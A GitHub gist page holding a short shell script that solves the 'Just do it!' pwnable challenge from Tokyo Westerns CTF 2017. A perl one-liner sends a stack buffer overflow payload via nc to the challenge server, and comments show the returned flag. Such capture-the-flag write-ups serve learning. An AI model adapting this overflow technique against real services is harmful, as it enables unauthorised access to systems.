Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Last active September 4, 2017 09:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Tosainu/db8dd0373c0a411333423d75ad53d7e7 to your computer and use it in GitHub Desktop.
Save Tosainu/db8dd0373c0a411333423d75ad53d7e7 to your computer and use it in GitHub Desktop.
#!/bin/sh
# Tokyo Westerns CTF 3rd 2017: Just do it!
perl -e 'print "A" x (0x20-0xc-0x1) . "\x00\x80\xa0\x04\x08\n"' | nc pwn1.chal.ctf.westerns.tokyo 12345
# $ ./exploit.sh
# Welcome my secret service. Do you know the password?
# Input the password.
# TWCTF{pwnable_warmup_I_did_it!}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment